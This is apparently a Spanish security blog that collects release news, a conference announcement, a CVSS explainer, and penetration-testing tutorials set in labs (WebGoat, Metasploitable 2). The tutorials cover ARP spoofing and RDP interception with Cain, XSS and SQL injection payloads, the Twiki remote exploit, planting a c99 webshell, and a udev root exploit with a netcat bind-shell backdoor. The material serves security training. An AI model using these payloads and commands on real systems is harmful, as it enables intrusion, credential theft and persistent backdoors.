blog

El día 29 de Noviembre del año 2014 se liberó públicamente Samurai WTF (Web Testing Framework) 3.0. En esta versión se ha realizado la actualización del sistema operativo base a Ubuntu 14.04. También se han actualizado numerosas herramientas y mejorado los entornos de ataque para incrementar la adaptación a un entorno de entrenamiento.

El equipo del proyecto también explica el nuevo proceso de publicación, el cual ha sido ajustado para asegurar un ciclo de publicaciones regulares en lugar de un proceso largo y arbitrario. Pues durante los últimos cinco años básicamente se construía cuando se tenía tiempo. Y muchos de estos nunca se liberaron públicamente excepto en los cursos.

Se ha definido un programa de liberaciones y asignado responsabilidades para asegurar su realización. Se continuará el proceso enlazando las principales liberaciones de las versiones LTS de Ubuntu. Es decir, así como 3.0 está enlazado a 14.04, 4.0 estará basado en Ubuntu 16.04. Esto permite a las personas mantener los parches y el soporte para el sistema subyacente hasta por cinco años. Las liberaciones principales ocurrirán durante la liberación trimestral siguiendo la liberación principal de la versión LTS de Ubuntu.

También se realizarán liberaciones trimestrales. Esto significa, la versión 3.1 será liberada alrededor del 31 de Enero del 2015. 3.2 le seguirá alrededor del 30 de Abril. También se realizarán liberaciones de cosas necesitadas de ser actualizadas. Por ejemplo si se encuentran cosas necesitadas de ser solucionadas en 3.0 (lo cual es muy probable) se podría liberar si es necesario un 3.0.1.

Se trabajará para asegurar lo necesario en ser actualizado, y se congelará el código una semana antes de la publicación. El equipo seguirá trabajando en futuras liberaciones junto con la comunidad.

Fuentes:

http://blog.secureideas.com/2014/11/samuraiwtf-30-and-into-future.html
http://sourceforge.net/projects/samurai/

El día viernes 21 de Noviembre del 2014 estaré realizando una presentación en la ciudad de Lima, Perú sobre “Análisis Forense con Autopsy 3”, el cual está programado para las 4:50pm con una duración total de 50 minutos. Esto con motivo de realizarse PeruHack 2014, evento donde se realizarán presentaciones sobre técnicas de hacking, computación forense y seguridad ofensiva.

PeruHack 2014 contará con la participación de hackers peruanos reconocidos a nivel nacional e internacional, los cuales desarrollan el 100% de sus actividades profesionales evaluando la seguridad de organizaciones locales y extranjeras: Alonso Caballero, Mauricio Velazco, Jean Del Carpio, Oscar Martínez, Alexis Torres, Juan Oliva, Henry Sánchez, Josué Rojas, John Vargas, Juan Quiñe y las participaciones especiales de Solange Malca y Miguel Guerra. Los extranjeros estarán representados por Claudio Caracciolo desde Argentina, Daniel Fernández desde España, Gabriel Bergel y Fabien Spychiger desde Chile.

PeruHack 2014 (#PERUHACK2014, @peruhackcon), se realizará el día viernes 21 de Noviembre en el campus de la UPC en Monterrico, es auspiciado por la Universidad Peruana de Ciencias Aplicadas, ESET LA / Startlabs y M&T.

PERUHACK 2014 from peruhackcon on Vimeo.

Fuentes:

http://www.peruhack.org
http://www.tvperu.gob.pe/noticias/tecnologia/seguridad/65590-peruhack-2…
http://www.elpopular.pe/actualidad-y-policiales/2014-11-10-peruhack-201…
http://www.larepublica.pe/12-11-2014/peruhack-2014-hackers-organizan-co…

APR-RDP permite capturar y descifrar el tráfico RDP (Remote Desktop Protocol) entre hosts. RDP es un protocolo utilizado para conectarse hacia Servicios Terminal de Windows de una computadora remota.

Los Servicios de Terminal de Microsoft Windows (Dentro de Windows 2000/2003 Server) y Escritorio Remoto de Windows XP, proporcionan una manera fácil y conveniente para los administradores en la implementación de computación ligera dentro de una organización o para la conexión de los usuarios hacia sus escritorios XP desde una computadora remota, y ejecutar aplicaciones o acceder a archivos.

Por defecto, los datos viajando entre el servidor terminal y el cliente de servicio terminal está protegido por cifrado. El protocolo utiliza el algoritmo de cifrado simétrico RC4 en uno de los siguientes tres niveles.

• Alto: Cifra los datos enviados desde el cliente hacia el servidor y los datos enviados desde el servidor hacia al cliente utilizando una llave de 128 bits.
• Medio: Cifra los datos enviados desde el cliente hacia el servidor y los datos enviado desde el servidor hacia el cliente utilizando una llave de 56 bits si el cliente es un Windows 2000 o cliente posterior, o una llave de 40 bits si el cliente es una versión anterior.
• Bajo: Cifra solo los datos enviados desde el cliente hacia el servidor, utilizando ya sea una llave de 56 bits o de 40 bits, dependiendo de la versión del cliente.

Las llaves de cifrado RC4 son generadas después del intercambio de llaves inicial en el cual se utiliza el cifrado asimétrico RSA.

En abril del año 2003 Erik Forsberg publicó una amplia investigación realizada al protocolo RDP, en el cual se encontró la no existencia de verificación en la identidad del servidor cuando se realizan los ajustes en las llaves de cifrado para la sesión, aunque la información enviada a través de la red sea cifrada. Esto implica la vulnerabilidad de RDP a un ataque de MITM. El ataque funciona de la siguiente manera:

1. El cliente se conecta hacía el servidor, sin embargo por algún método (DNS spoofing, envenenamiento ARP, etc) se es engañado para conectarse hacia el MITM. El MITM enviar las peticiones hacía el servidor.
2. El servidor envía su llave pública y sal aleatoria en texto plano, nuevamente a través del MITM. El MITM envía los paquetes hacía el cliente, pero intercambia la llave pública con otra para la cual conoce la parte privada.
3. El cliente envía un sal aleatorio, cifrado con la llave pública del servidor, hacía el MITM.
4. El MITM descifra el sal aleatorio del cliente con la llave privada, la cifra con la llave pública del servidor real y las envía hacía el servidor.
5. El MITM ahora conoce la sal del servidor y el cliente, lo cual es suficiente información para construir las llaves de sesión utilizada para enviar paquetes entre el cliente y el servidor. Toda la información enviada entre las partes ahora puede ser leída en texto plano.

La vulnerabilidad ocurre debido al hecho de la no intención por parte del cliente en tratar de verificar la llave pública del servidor, enviado en el paso 2 anterior. En otros protocolos, como el protocolo SSH, la mayoría de implementaciones solucionan este problema permitiendo al usuario responder una pregunta relacionada a la validez de la huella digital sobre la llave del servidor.

Para el siguiente ejemplo se utiliza una máquina Windows XP la cual tiene el servicio RDP activo, una máquina Windows 7 realizando una conexión al servicio RDP en el sistema Windows XP. Y otro Sistema Windows 7 la cual será la máquina atacante ejecutando Cain.

Iniciar Cain.

Ingresar a la pestaña de nombre “Sniffer” e iniciar el Sniffer. Luego hacer clic en el botón conteniendo como ícono una cruz de color azul.

Escanear todo el rango de la red. Los resultados serán expuestos en esta misma pestaña.

Hacer clic en la pestaña de nombre “APR” ubicado en la parte inferior, para luego hacer clic en el campo superior del panel divido en dos secciones.

Hacer clic nuevamente en el botón conteniendo como ícono una cruz de color azul. Donde se seleccionará la IP asignada al Sistema Windows 7; en la parte izquierda; y la dirección IP del Sistema Windows XP en la parte derecha.

Hacer clic en el botón de nombre “OK”.

Para iniciar el ataque de envenenamiento ARP hacer clic en el ícono ubicado al lado derecho del botón utilizado para iniciar el Sniffer.

Desde el sistema Windows 7 se procede a establecer una conexión hacía el servicio RDP del Sistema Windows XP.

Se procede a abrir un bloc de notas y a escribir algún texto.

De regreso a Cain, hacer clic en la opción "APR-RDP" ubicado en el panel izquierdo para visualizar la información registrada de la sesión RDP.

Hacer clic en la segunda línea y seleccionar la opción “View”, luego de lo cual se abrirá un bloc de notas conteniendo los datos capturados de la sesión.

Una manera sencilla de obtener la información sobre las teclas presionadas durante la sesión RDP, es utilizando el comando findstr.

C:\> findstr texto archivo.txt

Fuentes:

http://www.oxid.it/ca_um/topics/apr-rdp.htm
http://www.securityfocus.com/archive/1/317244
http://www.reydes.com/d/?q=Envenenamiento_del_Cache_ARP_utilizando_Cain

Un ARP Spoofing es un técnica mediante la cual un atacante envía mensajes ARP (Address Resolution Protocol) falsificados dentro de una red local. Generalmente con la intención de asociar la dirección MAC del atacante con la dirección IP de otro host (como la pasarela por defecto), lo cual causa el envío de cualquier tráfico hacia el atacante el lugar del verdadero destino.

Cain. es una herramienta para la recuperación de contraseñas de Sistemas Operativos Microsoft. Permite recuperar fácilmente diversos tipos de contraseñas mediante “Sniffing” o husmeo de la red, romper contraseñas cifradas utilizando ataques por diccionario, fuerza bruta, y criptoanálisis, grabar conversaciones VoIP, decodificar contraseñas, recuperar claves de redes inalámbricas, revelar cajas de contraseñas, descubrir contraseñas en caché y analizar protocolos de encaminamiento.

Para el presente ejemplo se utilizaran dos máquinas utilizando el Sistema Operativo Windows 7, una será la víctima y la otra será el atacante.

Iniciar Cain.

En la victima se ejecuta el comando arp con la opción “-a” para mostrar las entradas ARP actuales. Anotar la dirección IP de la pasarela y su respectiva dirección MAC.

C:\> arp -a

De regreso a la Cain, hacer clic en la pestaña de nombre “Sniffer”. Luego hacer clic en el segundo ícono ubicado en el lado izquierdo de nombre “Start/Stop Sniffer” para activar el Sniffer.

Hacer clic en el ícono con la cruz o signo más de color azul de nombre “Add to list”, para escanear la red y obtener las direcciones MAC. En la nueva ventana presentada hacer clic en el botón de nombre “OK”.

Se presentará un listado conteniendo información sobre los hosts detectados.

Hacer clic en la pestaña de nombre “APR” ubicado en la parte inferior. Luego hacer clic en la parte superior del panel dividido en dos secciones. Nuevamente hacer clic en el botón con el ícono en forma de cruz de color azul. Luego de lo cual se presentará una nueva ventana.

En la nueva ventana presentada, seleccionar en la sección izquierda la pasarela o router simplemente haciendo clic sobre este. Y en el lado derecho seleccionar la dirección IP de la victima.

Luego de hacer clic en el botón de nombre OK, se han completado las acciones requeridas para realizar este ataque.

En la máquina victima se procede a visualizar nuevamente la información sobre las entradas ARP actuales. Anotar nuevamente la dirección MAC asignada a la pasarela, la cual corresponde a la dirección MAC de la máquina atacante.

C:\> arp -a

Desde la máquina victima se procede a ingresar al sitio web de gmail, utilizando un navegador web.

De regreso a Cain se visualiza el encaminamiento de paquetes.

En la máquina victima se ingresa un usuario y contraseña ficticios para gmail. Al enviar estos datos se presenta información relacionada a la existencia de un problema con el certificado de seguridad para este sitio web. Para propósitos del presente ejemplo se hará clic en la opción “Vaya a este sitio web (no recomendado)”.

Anotar el mensaje de error expuesto en la barra de direcciones “Error del certificado”.

De regreso a Cain hacer clic en la pestaña de nombre “Passwords” ubicada en la parte inferior, para luego hacer clic en “HTTP" ubicado en el panel izquierdo. Aquí es factible visualizar el usuario y contraseña en texto plano capturara de la victima.

Fuentes:

http://www.oxid.it/cain.html
http://en.wikipedia.org/wiki/ARP_spoofing

Los ataques XSS son posibles cuando un servicio web válido tiene sus peticiones transparentemente encaminados a un servicio web controlado por el atacante, más frecuentemente uno con operaciones maliciosas. El mejor uso para este tipo de ataque es obtener información sobre la sesión de la victima, especialmente si esta es un administrador. Obtenida la información sobre la sesión, es posible alguna veces conducir un ataque de repetición, utilizando la información sobre la sesión para registrar un ingreso en el servidor vulnerable como la victima.

Para el siguiente ejemplo se utilizará la versión 5.4 de WebGoat.

En el panel izquierdo hacer clic en la opción “Cross-Site Scripting (XSS) -> LAB: Cross Site Scripting -> Stage 5: Reflected XSS”.

Se procede a realizar la autenticación utilizando el usuario “Larry Stooge” y la contraseña “larry”. Luego hacer clic en el botón de nombre “Login”

Para editar el perfil ingresar hacer clic en los botones “ViewProfile -> EditProfile”

Mencionar el hecho de estar realizando una interacción con la base de datos, el cual se espera sea vulnerable a un ataque XSS. Para verificar esto se procede a insertar el siguiente código en el campo de nombre “Street” o Calle.

<script>alert("ID de Sesion"+document.cookie)</script>

Hacer clic en el botón de nombre “UpdateProfile”

Una vez actualizado el perfil, aparecerá una ventana de alerta con la información sobre el ID de Sesión. Inyectado satisfactoriamente el Script, solo se debe esperar a la visita de alguien más al perfil del usuario “Larry”. Por ejemplo el usuario “Tom”

En un ataque “real” no se utilizará esta ventana de alarma, el atacante utilizará código javascript insertado en una página HTML para enviarle la ID de Sesión sin el conocimiento de las victimas. Un ataque XSS es altamente efectivo para ganar acceso hacia un sistema o elevar privilegios.

Fuentes:

https://code.google.com/p/webgoat/
https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project
http://csrc.nist.gov/publications/nistpubs/800-95/SP800-95.pdf

Una inyección SQL es una técnica utilizada para manipular servicios web enviando consultas SQL a un sistema gestor de bases de datos relacional (RDBMS), para alterar, insertar, o borrar datos en una base de datos.

Para el siguiente ejemplo se utilizará las versión 5.4 de WebGoat, WebGoat es una aplicación web J2EE deliveradamente insegura, diseñada para enseñar lecciones de seguridad en aplicaciones web. En cada lección, el usuario debe demostrar su conocimiento en un tema de seguridad explotando una vulnerabilidad real en la aplicación WebGoat.

Ingresar a WebGoat utilizando un navegador web.

Ingresar a la opción “Injection Flaws -> LAB: SQL Injection -> Stage 1: String SQL Injection”.

Se ingresa cualquier contraseña para el usuario “Larry stooge (employee)”. El mensaje devuelto por la aplicación es “* Login Failed” o Login Fallido.

Una solución válida para obtener la contraseña del usuario "Neville" sería realizar un ataque por fuerza bruta utilizando una gran cantidad de palabras como posibles contraseñas. Pero esto consume tiempo, recursos y no necesariamente implica la obtención de la contraseña correcta.

Otra técnica implica aprovecharse de inyecciones SQL, para acceder a la base de datos y realizar diversas acciones.

Se infiere la estructura de la consulta realizada hacia la base de datos, como la siguiente:

SELECT * FROM Datos WHERE Nombre = 'Usuario' AND Password = 'Contraseña'

Con esta inferencia es factible realizar la siguiente evaluación.

SELECT * FROM Datos WHERE Nombre = 'Usuario' AND Password = '' OR 1=1-- '

Esto le indica a la Base de Datos a autenticarse válida como “Usuario” sin necesidad de conocer su contraseña, esto a razón de ' OR 1=1-- fuerza a la base de datos a interpretar la consulta como Verdadera. Los símbolos “-- ” con un espacio en blanco al final definen como un comentario todo lo ubicado a su derecha.

Como es factible visualizar, se utiliza “Firebug” para modificar la fuente HTML de la página y visualizar el campo “Password”, así como incrementar su tamaño.

El nombre de usuario utilizado es “Neville”, el cual tiene permisos de administrador, razón por la cual es factible realizar operaciones de administración, como buscar personal, visualizar perfiles o borrar sus perfiles.

Las Inyecciones SQL son ejemplos perfectos sobre las debilidades en los controles de integridad. Adicionalmente la privacidad también puede ser comprometida, así como la confidencialidad y no repudio, dependiendo de la clasificación y funcionalidad de la aplicación web explotada.

Fuentes:

https://code.google.com/p/webgoat/
https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project
http://csrc.nist.gov/publications/nistpubs/800-95/SP800-95.pdf
http://getfirebug.com/

Después de comprometer satisfactoriamente un objetivo de evaluación y tener una cuenta, el realizar acciones utilizando una conexión con netcat incrementa la probabilidades de detección por los mecanismos de seguridad implementados, como un IDS (Intrusion Detection System) o IPS (Intrusion Prevention System). Para evitar o minimizar las probabilidades de ser detectados se requiere configurar un túnel cifrado. Para el presente ejemplo se utilizará SSH.

Se tiene un shell inverso utilizando netcat en el sistema comprometido.

Para poder establecer un túnel SSH hacia el sistema comprometido, se debe crear un par de llaves “publica/privada”.

# ssh-keygen

Se transfiere el archivo de nombre “id_rsa”, el cual contiene la llave “privada” hacia el sistema comprometido, utilizando netcat.

En Metasploitable 2

$ nc -n -v 192.168.0.12 1234 > .ssh/id_rsa

En Kali Linux:

# nc -n -v -l -p 1234 /tmp/id_rsa

Ahora se añade el archivo de nombre “id_rsa.pub” al archivo de nombre “.ssh/authorized_keys”, en Kali Linux.

# cat /tmp/id_rsa.pub >> .ssh/authorized_keys

De regreso al shell inverso con netcat, se procede a definir los permisos “0600” al archivo transferido de nombre “.ssh/id_rsa”

chmod 0600 .ssh/id_rsa

En Kali Linux iniciar el Servidor SSH.

# service ssh start

De regreso al shell inverso con netcat, se ejecuta el comando ssh con el paráemtro “-o StrictHostKeyChecking=no”, el cual permite evitar cualquier consulta de autenticación, lo cual podrá interferir en la conexión. “-R 44444:localhost:22”, donde “-R” permite crear una conexión inversa. El puerto 44444 es la conexión SSH creada sobre Kali Linux para este túnel, y el puerto 22 es el puerto al cual el túnel se conectará hacia el sistema comprometido. root@192.168.0.12 configura al túnel SSH a conectarse como el usuario “root” al sistema Kali Linux.

ssh -o StrictHostKeyChecking=no -R 44444:localhost:22 root@192.168.0.12

Establecido el túnel SSH entre el sistema comprometido y Kali Linux. El siguiente paso es conectarse al puerto TCP 44444 del host local (Kali Linux).

# ssh -p 44444 localhost

Ya se tiene creado el túnel cifrado SSH.

Se utiliza wireshark para verificar o analizar el funcionamiento del túnel. Anotar el establecimiento de una conexión en localhost hacia/desde el puerto TCP 44444. Además de la conexiones cifradas utilizando el protocolo SSH desde/hacia el sistema comprometido y Kali Linux.

Fuentes:

http://www.openssh.com/
https://www.kali.org/
http://sourceforge.net/projects/virtualhacking/files/os/hackerdemia/

Explotar vulnerabilidades internas es un método efectivo para elevar privilegios en un objetivo de evaluación, pero esto solo es posible con la obtención de un acceso local previo. Sin embargo a través de un ataque remoto es factible explotar alguna vulnerabilidad para obtener acceso interno en el objetivo de evaluación.

Para el siguiente ejemplo se utilizará la versión de Twiki incluida en la máquina virtual Metasploitable 2. Twiki es una plataforma de colaboración basada en web. La función de búsqueda en Twiki 20030201 permite a los atacantes remotos ejecutar comandos arbitrarios mediante metacaracteres shell en una cadena de búsqueda.

Para obtener la versión de Twiki en el escenario del presente ejemplo, se visualiza el archivo de nombre /twiki/readme.txt.

Kali Linux incluye un repositorio local de exploits desde “Exploit-DB”. Se utiliza el comando searchsploit para buscar el exploit.

# searchsploit twiki

Encontrado el exploit, se lo visualiza y analiza.

# less /usr/share/exploitdb/platforms/cgi/webapps/642.pl

Ejecutar el exploit sin ningún parámetro.

# perl 642.pl

Se ejecuta el exploit contra el objetivo de evaluación utilizando la opción “--path”, la cual define la ruta al CGI vulnerable. La explotación satisfactoria de la vulnerabilidad expone un shell seudo interactivo

# perl 642.pl --host 192.168.0.16 --path=/twiki/bin/search/Main/

Kali Linux incluye un directorio con webshells en “/usr/share/webshells/”, aunque estos no sean los más utilizados comúnmente por los atacantes maliciosos. Para el presente ejemplo se utilizará el famoso webshell de nombre “c99”.

Se copia el archivo c99.txt hacia el directorio web raíz de Kali Linux. Para luego iniciar el servicio de apache2.

# cp c99.txt /var/www/
# service apache2 start

Ahora desde la shell obtenida en el sistema comprometido, se descarga el archivo c99.txt desde Kali Linux. Luego se lo copia cambiándole de extensión hacia directorio web raíz del sistema comprometido.

$ ls -l c99.txt
$ cp c99.txt ../../../c99.php

Ahora desde Kali Linux se utiliza un navegador web para visitar la URL conteniendo la webshell.

Aunque el usuario con el cual se tiene acceso al servidor no tiene privilegios de root, es factible elevar privilegios utilizando un exploit contra una vulnerabilidad local.

Fuentes:

http://www.rs-labs.com/noticias/
http://www.rs-labs.com/exploitsntools/tweaky.pl
http://www.rs-labs.com/noticias/disclose_timeline.txt
http://www.exploit-db.com/exploits/642/
http://www.securiteam.com/unixfocus/6N00B1FBPA.html

El escalado o elevación de privilegios es una tarea amplia, esto a razón de la diversidad de aproximaciones factibles de ser utilizadas para obtener acceso como usuario Administrador o root. Una de las tácticas para elevar privilegios implica buscar por vulnerabilidades adicionales en el sistema desde una perspectiva interna. Esto implica cualquier tipo de acceso al sistema, aunque este acceso tenga autorización limitada, es factible explotar vulnerabilidades.

Para el siguiente ejemplo se utilizará la Máquina Virtual de nombre “Metasploitable 2”

Se tiene acceso al objetivo de evaluación con un usuario sin privilegios de root.

$ id; whoami

La identificación de vulnerabilidades desde una perspectiva interna, puede ser realizada de manera automática utilizando un escaner de vulnerabilidades, o simplemente, listando todos los paquetes y la respectiva información sobre sus versiones, para luego buscar vulnerabilidades manualmente.

Uno de los principales objetivos de explotación es el kernel de GNU/Linux, por lo tanto se utilizará un exploit para la versión del kernel utilizado en el objetivo de evaluación.

$ uname -a

A continuación se expone la información incluida en el código del Exploit:

udev < 141 Local Privilege Escalation Exploit

Versiones anteriores de udev 1.4.1 no verifican si un mensaje NETLINK se origina desde el espacio del kernel, lo cual permite a usuarios locales ganar privilegios enviando mensajes NETLINK desde el espacio de usuario.

Para utilizar el exploit en primera instancia se debe copiar el archivo en el objetivo de evaluación. Kali Linux tiene un repositorio local de exploits de "Exploit-DB". Se procede a buscar el exploit.

# searchsploit udev

Se verifica la existencia del archivo, visualizando parte del exploit.

# head /usr/share/exploitdb/platforms/linux/local/8572.c

Se procede a copiar el archivo conteniendo el exploit hacia Metasploitable 2, utilizando netcat.

En Metasploitable 2

$ nc -n -v -w 10 -l -p 1234 > 8572.c

En Kali Linux:

# nc -n -v 192.168.0.16 1234 /usr/share/exploitdb/platforms/linux/local/8572.c

Se compila el exploit

$ cc -o 8572 8572.c

Antes de ejecutar el exploit se requiere leer las “instrucciones” contenidas en el archivo del código.

Se debe pasar el PID (Process IDentifier) o Identificador del Proceso del socket netlink udevd (listado en /proc/net/netlink, usualmente es el PID udevd menos 1) como argv[1]. Este exploit ejecutará el archivo /tmp/run como root, aquí es donde se debe colocar el Payload o Carga Útil a ejecutar.

Se procede a crear el archivo “/tmp/run”. Para este ejemplo se utilizará netcat para abrir una “backdoor” o puerta trasera con privilegios de root.

#!/bin/bash
nc -n -l -p 4000 -e /bin/bash

Es necesario averiguar el PID de udevd

$ ps axu | grep udevd

El PID de udevd es 2705, por lo tanto se le resta 1 y se ejecuta el exploit con este parámetro.

$ ./8572 2704

Se visualiza el puerto TCP 4000 en atención. Ahora se realiza una conexión desde Kali Linux hacia este puerto de Metasploitable 2, utilizando netcat.

# nc -n -v 192.168.0.16 4000

La explotación para elevar o escalar privilegios ha sido satisfactoria, pues ya se tiene acceso como el usuario root en el sistema objetivo.

Fuentes:

http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
https://jon.oberheide.org/files/cve-2009-1185.c

Diferentes ambientes pueden tener una inmensa influencia sobre el riesgo poseído por una vulnerabilidad para una organización y las partes interesadas. El grupo de métricas ambientales de CVSS captura las características de una vulnerabilidad asociada con el ambiente TI del usuario. Ya que las métricas del ambiente son opcionales, cada una de ellas incluye un valor de métrica sin influencia sobre la puntuación. Este valor es utilizado cuando el usuario percibe la no aplicabilidad de una métrica particular y desea “saltarla”.

Potencial Daño Colateral (CDP)

Esta métrica mide el potencial de perdida de una vida o activo físico a través de daño o robo de propiedad o equipo. Esta métrica también mide la perdida económica de productividad o ingresos. Los valores posibles para esta métrica se listan a continuación. Naturalmente, mientras mayor sea el potencial daño, mayor será la puntuación de la vulnerabilidad.

Valor de la Métrica | Descripción

• Ningún (N) | No existe una potencial perdida de vida, activo físico productividad o ingreso.
• Bajo (L) | Un exploit satisfactorio de esta vulnerabilidad puede resultar en un leve daño físico o de la propiedad. O puede haber una leve perdida de ingresos o productividad en la organización.
• Bajo-Medio (LM) | Un exploit satisfactorio de esta vulnerabilidad puede resultar en un daño moderado físico o de la propiedad. O puede ser una perdida moderada de ingresos o productividad para la organización.
• Medio-Alto | Un exploit satisfactorio de esta vulnerabilidad puede resultar en un daño significativo físico o de la propiedad. O puede ser una perdida catastrófica de ingresos o productividad.
• Alto (H) | Un exploit satisfactorio de esta vulnerabilidad puede resultar en un daño catastrófico físico o de la propiedad. O puede ser una perdida catastrófica de ingresos o productividad.
• No Definida (ND) | Asignar este valor a la métrica no influenciará la puntuación. Es una señal para saltar esta métrica en la ecuación.

Claramente, cada organización debe determinar por si misma el significado preciso de “leve, moderado, significativo o catastrófico”.

Distribución Objetivo (TD)

Esta métrica mide la proporción de sistemas vulnerables. Se entiende como un indicador específico del ambiente para aproximar el porcentaje de sistemas afectados por la vulnerabilidad. Los valores posibles para esta métrica son listados a continuación. A mayor proporción de sistemas vulnerables, mayor la puntuación.

Valor de la Métrica | Descripción

• Ningún (N) | No existen sistemas objetivo, o los objetivos son tan especializados dada su existencia en un configuración de laboratorio. Efectivamente el 0% del ambiente esta en riesgo.
• Bajo (L) | Existen objetivos dentro del ambiente, pero a una pequeña escala. Entre el 1% y 25% del total del ambiente en riesgo.
• Medio (M) | Existen objetivos dentro del ambiente, pero a una escala media. Entre el 26% y 75% del total del ambiente en riesgo.
• Alto (H) | Existen objetivos dentro del ambiente a una escala considerable. Entre el 76% y 100% del total del ambiente se considera en riesgo.
• No Definida (ND) | Asignar este valor a la métrica no influenciará la puntuación. Es una señal para saltar esta métrica en la ecuación.

Requerimientos de Seguridad (CR, IR, AR)

Estas métricas permiten al analista personalizar la puntuación del CVSS dependiendo de la importancia del activo de TI afectado para los usuarios de la organización, medirlo en términos de confidencialidad, integridad, y disponibilidad. Esto es, si un activo de TI soporta una función del negocio para la cual la disponibilidad es lo más importante, el analista puede asignar un valor mayor a la disponibilidad, relativo a la confidencialidad e integridad. Cada requerimiento de seguridad tiene tres valores posibles: bajo, medio, o alto.

El efecto completo sobre la puntuación del entorno es determinado por las correspondientes métricas base de impacto (favor anotar el no cambio por si mismas de las métricas base de impacto a la confidencialidad, integridad y disponibilidad). Esto es, estas métricas de modifican la puntuación del entorno mediante la reponderación de las métricas de impacto base de confidencialidad, integridad y disponibilidad. Por ejemplo, la métrica de impacto a la confidencialidad (C) incrementa su peso si el requerimiento de la confidencialidad (CR) es alto. Así mismo, la métrica de impacto a la confidencialidad disminuye su peso si el requerimiento de confidencialidad es bajo. La ponderación de la métrica de impacto a la confidencialidad es neutral si el requerimiento de confidencialidad es medio. La misma lógica se aplica a los requerimientos de integridad y disponibilidad.

Anotar la no afectación a la puntuación ambiental por parte del requerimiento de confidencialidad si el impacto a la confidencialidad (base) se define a ningún. También, incrementar el requerimiento de confidencialidad desde medio hacia alto no cambiará la puntuación ambiental cuando las métricas de impacto (base) se definen a completo. Esto es debido a la sub puntuación del impacto (parte de la puntuación base para calcular el impacto) ya está en el máximo valor de 10.

Los posibles valores para los requerimientos de seguridad se listan a continuación. Por brevedad, la misma tabla se utiliza para los tres métricas. A mayor requerimiento de seguridad, mayor puntuación (Medio se considera por defecto). Estas métricas modificarán la puntuación tanto como mas o menos 2.5.

Valor de la Métrica | Descripción

• Bajo (L) | La perdida de [confidencialidad | integridad | disponibilidad] es probable tenga solo un limitado efecto adverso sobre la organización o individuos asociados con la organización (ejemplo, empleados, clientes).
• Medio (M) | La perdida de [confidencialidad | integridad | disponibilidad] es probable tenga un serio impacto adverso sobre la organización o individuos asociados con la organización (ejemplo, empleados, clientes).
• Alto (H) | La perdida de [confidencialidad | integridad | disponibilidad] es probable tenga un catastrófico efecto adverso sobre la organización o individuos asociados con la organización (ejemplo, empleados, clientes).
• No Definida (ND) | Asignar este valor a la métrica no influenciará la puntuación. Es una señal para saltar esta métrica en la ecuación.

En muchas organizaciones, los recursos de TI son etiquetados con clasificaciones críticamente basadas sobre ubicaciones de red, función del negocio, o potencial perdida de ingresos o vida. Por ejemplo, el gobierno de los Estados Unidos asigna activos de TI no clasificados a un grupo de activos denominados Sistema. Cada Sistema tiene asignado tres clasificaciones de “impacto potencial” para mostrar el impacto potencial sobre la organización si el Sistema es comprometido de acuerdo a los tres objetivos de seguridad: confidencialidad, integridad, y disponibilidad. Por lo tanto, cada activo de TI sin clasificar en el gobierno de los Estados Unidos tiene una clasificación de impacto potencial de bajo, moderado, o alto con respecto a los objetivos de seguridad de confidencialidad, integridad, y disponibilidad. Esta sistema de clasificación se describe dentro del FIPS (Federal Information Processing Standards) 199. CVSS sigue el modelo general de FIPS 199, pero no requiere a las organizaciones el utilizar ningún sistema particular para asignar la clasificación de impacto baja, media, alta.

Vectores Base, Temporal, Ambiental

Cada métrica en el vector consiste de un nombre de métrica abreviada, seguida por un “:” (dos puntos), luego el valor de la métrica abreviada. La lista de vectores de estas métricas en un orden predeterminado, utilizando el “/” (slash) para separar las métricas. Si una métrica temporal o ambiental no es utilizada, se le da un valor de “ND” (No definida). Los vectores Base, temporal, y ambiental se muestran a continuación:

Valor de la Métrica | Descripción

• Base | AV:[L,A,N]/AC:[H,M,L]/Au:[M,S,N]/C:[N,P,C]/I:[N,P,C]/A:[N,P,C]
• Temporal | E:[U,POC,F,H,ND]/RL:[OF,TF,W,U,ND]/RC:[UC,UR,C,ND]
• Ambiental | CDP:[N,L,LM,MH,H,ND]/TD:[N,L,M,H,ND]/CR:[L,M,H,ND]/ IR:[L,M,H,ND]/AR:[L,M,H,ND]

Por ejemplo, una vulnerabilidad con valores de métrica base de “Vector de Acceso: Bajo, Complejidad de Acceso: Medio, Autenticación: Ninguno, Impacto Confidencialidad: Ninguno, Impacto Integridad: Parcial, Impacto Disponibilidad: Completo” podría tener el siguiente vector base: "AV:L/AC:M/Au:N/C:N/I:P/A:C."

Fuentes:

http://www.first.org/cvss/cvss-guide
http://www.reydes.com/d/?q=Introduccion_a_CVSS_Common_Vulnerability_Sco…
http://www.reydes.com/d/?q=Metrica_Base_de_CVSS_Common_Vulnerability_Sc…
http://www.reydes.com/d/?q=Metricas_Temporales_de_CVSS_Common_Vulnerabi…